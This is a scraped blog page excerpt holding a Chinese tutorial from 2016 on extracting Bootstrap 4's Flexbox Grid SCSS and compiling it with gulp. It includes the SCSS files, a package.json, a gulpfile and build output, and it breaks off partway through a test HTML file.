                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-10-29 22:41:08" itemprop="dateCreated datePublished" datetime="2016-10-29T22:41:08+08:00">2016-10-29</time>
                </span>
                <span id="/3276.html" class="post-meta-item leancloud_visitors" data-flag-title="利用Sass自动生成padding和margin边距样式" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>6.7k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>6 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3253.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> HTML <i class="label-arrow"></i>
                  </a>
                  <a href="/3253.html" class="post-title-link" itemprop="url">BootStrap4提取并编译Flexbox Grid系统</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2>
                  <p>首先Flexbox是什么？它是Bootstrap4新出的一个布局格式，对移动端开发非常方便。 说一下我为什么要提取Flexbox。有需求才有动力，首先是需求，最近在开发一个移动端适配的网站，使用了materi-ui框架，基于React。使用materi-ui时，已经内置了许多样式，但是bootstrap的一些多余样式会影响一些现有样式，而那些样式对我又没啥用。另外Flex对于移动端布局开发非常适合，这次正好也拿来练练手。 移动端开发是趋势，随着移动端的发展，BootStrap也出了新版本4，不过现在还是alpha版本，还没正式推出。 其中一个比较大的改进便是Flexbox Grid系统。 BootStrap原本最常用的布局栅格化系统在做响应式开发的时候比较方便，但是只针对于移动端开发的时候并没有多大用处了，流行的Flex布局应用越来越广泛。 在Founation中，看到过有了这种Flex布局，它就是适应手机开发的框架。后来Bootstrap4也增加了这块。 那么Flexbox Grid系统相比之前什么改进呢？请看官方文档实例。 <a href="http://v4-alpha.getbootstrap.com/layout/flexbox-grid/" target="_blank" rel="noopener">Flexbox Grid</a> P.S 别去上什么中文网，全是错误，实例结果有问题。不想吐槽，一开始我还以为是Flexbox Grid设计不科学。</p>
                  <h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2>
                  <p>首先下载BootStrap V4。 <a href="https://v4-alpha.getbootstrap.com" target="_blank" rel="noopener">Bootstrap V4</a> 目前最新版还是alpha版本，如链接失效，请移步官网。 <a href="http://getbootstrap.com" target="_blank" rel="noopener">BootStrap</a> 然后你需要安装了node，gulp，自行下载即可。 <a href="http://www.gulpjs.com.cn/" target="_blank" rel="noopener">gulp</a></p>
                  <h2 id="开始抽取"><a href="#开始抽取" class="headerlink" title="开始抽取"></a>开始抽取</h2>
                  <p>下载之后打开Bootstrap源代码文件夹，找到scss目录，可以看到如下的结构。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161029-0@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161029-0@2x-511x1024.png" alt="QQ20161029-0@2x"></a> mixins是一些可调用的组件，本身编译不会产生任何结果。utilities是一些公用的包，比如我们要抽取的Flex就在这里面。 外面的这么多是一些公用的基本组件。 通过官方文档可以发现：</p>
                  <blockquote>
                    <p>If you’re familiar with modifying variables in Sass—or any other CSS preprocessor—you’ll be right at home to move into flexbox mode.</p>
                    <ol>
                      <li>Open the <code>_variables.scss</code> file and find the <code>$enable-flex</code> variable.</li>
                      <li>Change it from <code>false</code> to <code>true</code>.</li>
                      <li>Recompile, and done!</li>
                    </ol>
                    <p>Alternatively, if you don’t need the source Sass files, you may swap the default Bootstrap compiled CSS with the compiled flexbox variation. <a href="http://v4-alpha.getbootstrap.com/getting-started/download/" target="_blank" rel="noopener">Head to the download page</a> for more information.</p>
                  </blockquote>
                  <p>如果我们想要添加Flex组件，还需要将这个变量更改，即将$enable-flex改成true才可以，默认是false。 在源代码中我们可以发现已经有了一个bootstrap-flex.scss的文件，然而这里面发现直接引入了bootstrap的所有代码，这并不是我们想要的，它可能会复写一些基本样式，会影响我们的工程。我们想要的是单独把Flex部分抽离出来。 所以我们自己新建一个 bootstrap-flex.scss的空文件。 首先将变量改为true</p>
                  <figure class="highlight shell">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="meta">$</span><span class="bash"><span class="built_in">enable</span>-flex: <span class="literal">true</span>;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>然后阅读源码可以发现有两个公用的scss文件是必须引入的。 variables和breakpoints，我们先将他们引入。</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">@import</span> <span class="string">"variables"</span>;</span><br><span class="line"><span class="keyword">@import</span> <span class="string">"breakpoints"</span>;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>然后观察带有flex的代码，只发现了在utilities文件夹中有相关内容，跑不了了，那就是它，复制到同一路径，引入一下。</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">@import</span> <span class="string">"flex"</span>;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>不过发现这个文件里的样式颇少，内容如下：</p>
                  <figure class="highlight scss">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment">// Flex variation</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Custom styles for additional flex alignment options.</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">@if</span> <span class="variable">$enable-flex</span> &#123;</span><br><span class="line">  <span class="keyword">@each</span> <span class="variable">$breakpoint</span> in map-keys(<span class="variable">$grid-breakpoints</span>) &#123;</span><br><span class="line">    <span class="comment">// Flex column reordering</span></span><br><span class="line">    <span class="keyword">@include</span> media-breakpoint-up(<span class="variable">$breakpoint</span>) &#123;</span><br><span class="line">      <span class="selector-class">.flex-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-first &#123; <span class="attribute">order</span>: -<span class="number">1</span>; &#125;</span><br><span class="line">      <span class="selector-class">.flex-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-last &#123; <span class="attribute">order</span>: <span class="number">1</span>; &#125;</span><br><span class="line">      <span class="selector-class">.flex-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-unordered &#123; <span class="attribute">order</span>: <span class="number">0</span>; &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Alignment for every item</span></span><br><span class="line">    <span class="keyword">@include</span> media-breakpoint-up(<span class="variable">$breakpoint</span>) &#123;</span><br><span class="line">      <span class="selector-class">.flex-items-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-<span class="attribute">top</span> &#123; <span class="attribute">align-items</span>: flex-start; &#125;</span><br><span class="line">      <span class="selector-class">.flex-items-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-middle &#123; <span class="attribute">align-items</span>: center; &#125;</span><br><span class="line">      <span class="selector-class">.flex-items-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-<span class="attribute">bottom</span> &#123; <span class="attribute">align-items</span>: flex-end; &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Alignment per item</span></span><br><span class="line">    <span class="keyword">@include</span> media-breakpoint-up(<span class="variable">$breakpoint</span>) &#123;</span><br><span class="line">      <span class="selector-class">.flex-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-<span class="attribute">top</span>   &#123; <span class="attribute">align-self</span>: flex-start; &#125;</span><br><span class="line">      <span class="selector-class">.flex-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-middle &#123; <span class="attribute">align-self</span>: center; &#125;</span><br><span class="line">      <span class="selector-class">.flex-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-<span class="attribute">bottom</span> &#123; <span class="attribute">align-self</span>: flex-end; &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Horizontal alignment of item</span></span><br><span class="line">    <span class="keyword">@include</span> media-breakpoint-up(<span class="variable">$breakpoint</span>) &#123;</span><br><span class="line">      <span class="selector-class">.flex-items-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-<span class="attribute">left</span> &#123; <span class="attribute">justify-content</span>: flex-start; &#125;</span><br><span class="line">      <span class="selector-class">.flex-items-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-center &#123; <span class="attribute">justify-content</span>: center; &#125;</span><br><span class="line">      <span class="selector-class">.flex-items-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-<span class="attribute">right</span> &#123; <span class="attribute">justify-content</span>: flex-end; &#125;</span><br><span class="line">      <span class="selector-class">.flex-items-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-around &#123; <span class="attribute">justify-content</span>: space-around; &#125;</span><br><span class="line">      <span class="selector-class">.flex-items-</span>#&#123;<span class="variable">$breakpoint</span>&#125;-between &#123; <span class="attribute">justify-content</span>: space-between; &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这才多点啊？看官方实例明明用到了row，col这些样式好不好。再看看。 于是乎发现这些实际上也是依赖于原始的grid样式的。我们必须也要把它引入进来。 找找，发现了三个相关文件，拷贝过来，引入。</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">@import</span> <span class="string">"mixins/grid"</span>;</span><br><span class="line"><span class="keyword">@import</span> <span class="string">"mixins/grid-framework"</span>;</span><br><span class="line"><span class="keyword">@import</span> <span class="string">"grid"</span>;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>嗯，这下应该全了。 结构如下所示 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161029-1@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161029-1@2x.png" alt="QQ20161029-1@2x"></a></p>
                  <h2 id="编译代码"><a href="#编译代码" class="headerlink" title="编译代码"></a>编译代码</h2>
                  <p>官方用的是grunt自动化工具，然而我用着并不习惯。在这里我们用到gulp来编译。 首先npm init 初始化一个 package.json 引入一些包</p>
                  <figure class="highlight 1c">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="string">"devDependencies"</span>: &#123;</span><br><span class="line">  <span class="string">"babel-core"</span>: <span class="string">"^6.3.26"</span>,</span><br><span class="line">  <span class="string">"babel-preset-es2015"</span>: <span class="string">"^6.16.0"</span>,</span><br><span class="line">  <span class="string">"babel-register"</span>: <span class="string">"^6.18.0"</span>,</span><br><span class="line">  <span class="string">"del"</span>: <span class="string">"^2.2.2"</span>,</span><br><span class="line">  <span class="string">"gulp"</span>: <span class="string">"^3.9.1"</span>,</span><br><span class="line">  <span class="string">"gulp-autoprefixer"</span>: <span class="string">"^3.1.1"</span>,</span><br><span class="line">  <span class="string">"gulp-babel"</span>: <span class="string">"^6.1.2"</span>,</span><br><span class="line">  <span class="string">"gulp-plumber"</span>: <span class="string">"^1.1.0"</span>,</span><br><span class="line">  <span class="string">"gulp-postcss"</span>: <span class="string">"^6.2.0"</span>,</span><br><span class="line">  <span class="string">"gulp-sass"</span>: <span class="string">"^2.3.2"</span>,</span><br><span class="line">  <span class="string">"gulp-sourcemaps"</span>: <span class="string">"^2.2.0"</span>,</span><br><span class="line">  <span class="string">"postcss-scss"</span>: <span class="string">"^0.3.1"</span></span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>整体的结构如下</p>
                  <figure class="highlight json">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">"name"</span>: <span class="string">"bootstrap-flex"</span>,</span><br><span class="line">  <span class="attr">"version"</span>: <span class="string">"1.0.0"</span>,</span><br><span class="line">  <span class="attr">"description"</span>: <span class="string">"BootStrap Flex"</span>,</span><br><span class="line">  <span class="attr">"main"</span>: <span class="string">"gulpfile.babel.js"</span>,</span><br><span class="line">  <span class="attr">"scripts"</span>: &#123;</span><br><span class="line">    <span class="attr">"test"</span>: <span class="string">"echo \"Error: no test specified\" &amp;&amp; exit 1"</span></span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="attr">"author"</span>: <span class="string">"Germey"</span>,</span><br><span class="line">  <span class="attr">"license"</span>: <span class="string">"MIT"</span>,</span><br><span class="line">  <span class="attr">"devDependencies"</span>: &#123;</span><br><span class="line">    <span class="attr">"babel-core"</span>: <span class="string">"^6.3.26"</span>,</span><br><span class="line">    <span class="attr">"babel-preset-es2015"</span>: <span class="string">"^6.16.0"</span>,</span><br><span class="line">    <span class="attr">"babel-register"</span>: <span class="string">"^6.18.0"</span>,</span><br><span class="line">    <span class="attr">"del"</span>: <span class="string">"^2.2.2"</span>,</span><br><span class="line">    <span class="attr">"gulp"</span>: <span class="string">"^3.9.1"</span>,</span><br><span class="line">    <span class="attr">"gulp-autoprefixer"</span>: <span class="string">"^3.1.1"</span>,</span><br><span class="line">    <span class="attr">"gulp-babel"</span>: <span class="string">"^6.1.2"</span>,</span><br><span class="line">    <span class="attr">"gulp-plumber"</span>: <span class="string">"^1.1.0"</span>,</span><br><span class="line">    <span class="attr">"gulp-postcss"</span>: <span class="string">"^6.2.0"</span>,</span><br><span class="line">    <span class="attr">"gulp-sass"</span>: <span class="string">"^2.3.2"</span>,</span><br><span class="line">    <span class="attr">"gulp-sourcemaps"</span>: <span class="string">"^2.2.0"</span>,</span><br><span class="line">    <span class="attr">"postcss-scss"</span>: <span class="string">"^0.3.1"</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>执行</p>
                  <figure class="highlight cmake">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">npm <span class="keyword">install</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>安装一下 node_modules。 然后生成一个.babelrc文件，因为我们要用es2015的语法，内容。</p>
                  <figure class="highlight json">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">"presets"</span>: [</span><br><span class="line">    <span class="string">"es2015"</span></span><br><span class="line">  ]</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>然后写一下 gulpfile.babel.js</p>
                  <figure class="highlight coffeescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> gulp       <span class="keyword">from</span> <span class="string">'gulp'</span>;</span><br><span class="line"><span class="keyword">import</span> plumber <span class="keyword">from</span> <span class="string">'gulp-plumber'</span>;</span><br><span class="line"><span class="keyword">import</span> sass <span class="keyword">from</span> <span class="string">'gulp-sass'</span>;</span><br><span class="line"><span class="keyword">import</span> sourcemaps <span class="keyword">from</span> <span class="string">'gulp-sourcemaps'</span>;</span><br><span class="line"><span class="keyword">import</span> del <span class="keyword">from</span> <span class="string">'del'</span>;</span><br><span class="line"><span class="keyword">import</span> autoprefixer <span class="keyword">from</span> <span class="string">'gulp-autoprefixer'</span>;</span><br><span class="line">const source = [<span class="string">'sass/**/*.scss'</span>];</span><br><span class="line">const dest = <span class="string">'dist/css/'</span>;</span><br><span class="line"></span><br><span class="line">gulp.task(<span class="string">'sass'</span>, <span class="function"><span class="params">()</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> gulp.src(source)</span><br><span class="line">    .pipe(plumber())</span><br><span class="line">    .pipe(sourcemaps.init())</span><br><span class="line">    .pipe(sass(&#123;outputStyle: <span class="string">'compressed'</span>&#125;).<span class="literal">on</span>(<span class="string">'error'</span>, sass.logError))</span><br><span class="line">    .pipe(sourcemaps.write())</span><br><span class="line">    .pipe(autoprefixer(&#123;</span><br><span class="line">        browsers: [<span class="string">'last 2 versions'</span>],</span><br><span class="line">        cascade: <span class="literal">true</span>,</span><br><span class="line">        remove: <span class="literal">true</span></span><br><span class="line">    &#125;))</span><br><span class="line">    .pipe(gulp.dest(dest));</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">gulp.task(<span class="string">'clean'</span>, del.bind(<span class="literal">null</span>, [<span class="string">'dist'</span>]));</span><br><span class="line"></span><br><span class="line">gulp.task(<span class="string">'build'</span>, [<span class="string">'sass'</span>, <span class="string">'watch'</span>])</span><br><span class="line"></span><br><span class="line">gulp.task(<span class="string">'watch'</span>, <span class="function"><span class="params">()</span> =&gt;</span> &#123;</span><br><span class="line">    gulp.watch(source, [<span class="string">'sass'</span>]);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">gulp.task(<span class="string">'default'</span>, [<span class="string">'clean'</span>], <span class="function"><span class="params">()</span> =&gt;</span> &#123;</span><br><span class="line">    gulp.start(<span class="string">'build'</span>);</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>比较简单，用到的有sass, sourcemaps, autoprefixer这几个比较常用的包。 执行</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>观察下结果。</p>
                  <figure class="highlight angelscript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">38</span>] Requiring <span class="keyword">external</span> module babel-register</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">38</span>] Using gulpfile /<span class="keyword">private</span>/var/www/flex/gulpfile.babel.js</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">38</span>] Starting <span class="string">'clean'</span>...</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">38</span>] Finished <span class="string">'clean'</span> after <span class="number">8.12</span> ms</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">38</span>] Starting <span class="string">'default'</span>...</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">38</span>] Starting <span class="string">'sass'</span>...</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">38</span>] Starting <span class="string">'watch'</span>...</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">38</span>] Finished <span class="string">'watch'</span> after <span class="number">9.63</span> ms</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">38</span>] Finished <span class="string">'default'</span> after <span class="number">25</span> ms</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">39</span>] Finished <span class="string">'sass'</span> after <span class="number">312</span> ms</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">39</span>] Starting <span class="string">'build'</span>...</span><br><span class="line">[<span class="number">18</span>:<span class="number">46</span>:<span class="number">39</span>] Finished <span class="string">'build'</span> after <span class="number">2.41</span> μs</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>恩，没什么问题。可以看到 dist 文件夹下生成了一个文件叫做 bootstrap-flex.css。</p>
                  <h2 id="测试用例"><a href="#测试用例" class="headerlink" title="测试用例"></a>测试用例</h2>
                  <p>恩接下来我们来测试一下官方实例是否正常。 新建一个index.html内容如下</p>
                  <figure class="highlight applescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html lang=<span class="string">"en"</span>&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">    &lt;meta charset=<span class="string">"UTF-8"</span>&gt;</span><br><span class="line">    &lt;title&gt;Title&lt;/title&gt;</span><br><span class="line">    &lt;link rel=<span class="string">"stylesheet"</span> href=<span class="string">"dist/css/bootstrap-flex.css"</span>&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"container"</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">1</span> <span class="keyword">of</span> <span class="number">2</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">1</span> <span class="keyword">of</span> <span class="number">2</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span 